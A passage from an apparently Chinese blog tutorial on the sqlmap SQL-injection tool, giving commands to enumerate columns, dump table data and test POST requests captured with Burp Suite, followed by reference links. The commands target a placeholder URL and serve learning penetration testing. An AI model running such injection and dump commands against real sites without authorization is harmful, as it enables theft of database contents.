python sqlmap.py -u http://xx/?id=1 -D 数据库名 -T 表名 –columns

查看「数据」

python sqlmap.py -u http://xx/?id=1 -D 数据库名 -T 表名 –dump

post型:

需要用burpsuite抓包,写入txt文件,然后使用-r参数

检测「注入点」

python sqlmap.py -r txt文件所在位置

查看所有「数据库」

python sqlmap.py -r txt文件所在位置 --dbs

(依次类推)

参考文献:

sqlmap安装详细教程-CSDN博客

【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_sqlmap使用教程-CSDN博客

SQLmap使用教程图文教程(超详细)-CSDN博客

sqlmap官方使用指南:

上面文章讲的都很好,在此不多作赘述,

第一个文章讲了在windows下安装sqlmap的教程

第二个文章可以作为入门的尝试,学习基础功能;

第三个文章有更多的参数,可以进一步学习;

官方文档可以作为查询工具,用来入门的话太过枯燥

Hackbar

Web安全常用工具 (持续更新)-CSDN博客

Postman

与hackbar功能相近,用法相似。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值